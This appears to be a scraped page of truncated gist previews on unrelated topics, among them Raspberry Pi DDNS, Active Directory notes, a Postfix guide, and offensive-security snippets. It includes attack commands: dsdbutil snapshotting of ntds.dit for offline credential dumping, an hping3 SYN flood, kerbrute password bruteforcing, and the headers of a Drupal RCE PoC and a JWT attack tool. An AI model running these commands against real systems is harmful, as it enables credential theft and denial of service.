jc-torresp

Access Raspberry Pi from anywhere

Dynamic DNS

We need to use so called Dynamic DNS (DDNS) to create and dynamically update a mapping between a chosen domain name and an “external” IP address of our Raspberry Pi (i.e. router IP address).

• Look for a DDNS provider.
• Register a new user account.
• Choose a desire domain name.
• Configure it on router.

ivanitlearning

Notes on learning Active Directory

1. NetBIOS name should match your forest FQDN. So if FQDN=adlunches.net, NetBIOS name is ADLUNCHES
2. Every AD forest has a server which indexes all the objects in the forest. This is known as the Global Catalog server.
   1. Each domain needs at least 1 GC server, can have more for redundancy. This is so it can find objects in other domains.
   2. Any DC can be GC.
   3. By default all DCs will be GCs. GCs take up disk space and bandwidth, but both are plentiful.
   4. Microsoft Exchange requires GC server to run.
   5. Allow logins via UPN eg. [email protected], which may be on same domain.
3. GC servers should be deployed at sites with poor WAN links or filtered connections.

Meatballs1

	Define REDIR_TARGET example.com

	RewriteEngine On
	RewriteOptions Inherit
	
	# Uncomment the below line for verbose logging, including seeing which rule matched.
	#LogLevel alert rewrite:trace5
	
	# BURN AV BURN
	

bohops

DSDButil
========

- dsdbutil (dsdbutil.exe) is utility for performing maintenance on AD/LDS databases [https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753151(v%3Dws.11)]
- dsdbutil supports VSS snapshot creation
- dsdbutil can be used to extract the AD database (ntds.dit) for offline analysis (with secretsdump.py)

- Example #1: Using Snapshot GUID obtained from cmd output

dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"

SwitHak

Advisory

Netflix has identified several TCP networking vulnerabilities in FreeBSD and Linux kernels.

Details:

See the netflix information security advisory:

• https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md

Exploit

sudo hping3 yourhost --tcp-mss 20 -S --flood

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

howyay

An ultimate guide to Postfix + Dovecot IMAP server with complete SPF, DKIM and DMARC support and additional instructions for a multi-domain setup

In this guide, domain.com will be your root domain and mail.domain.com will be the hostname of your mail server

• An ultimate guide to Postfix + Dovecot IMAP server with complete SPF, DKIM and DMARC support and additional instructions for a multi-domain setup
  • 0x01 Adding DNS records
  • 0x02 Set hostname
  • 0x03 Verify DNS resolution
  • 0x04 Get SSL certificate
• 0x05 Install and configure Postfix

leonjza

#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

aayla-secura

#!/usr/bin/env python2
#############################################################
# @AaylaSecura1138, github.com/aayla-secura
# Modify and distribute as you wish
#############################################################
# NO LONGER MAINTAINED: CURRENT CODE LIVES HERE:
# https://github.com/aurainfosec/jwt_resign_asym_to_sym
#############################################################
# Some JWT libraries are vulnerable to a known attack which changes
# the type of a JWT from an asymmetric (e.g. RS256) to a symmetric

0xhexmex

param(
    [Parameter(Mandatory)]
    [string]$Path
)

#Created by [email protected]
#
#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
#
#  keytab {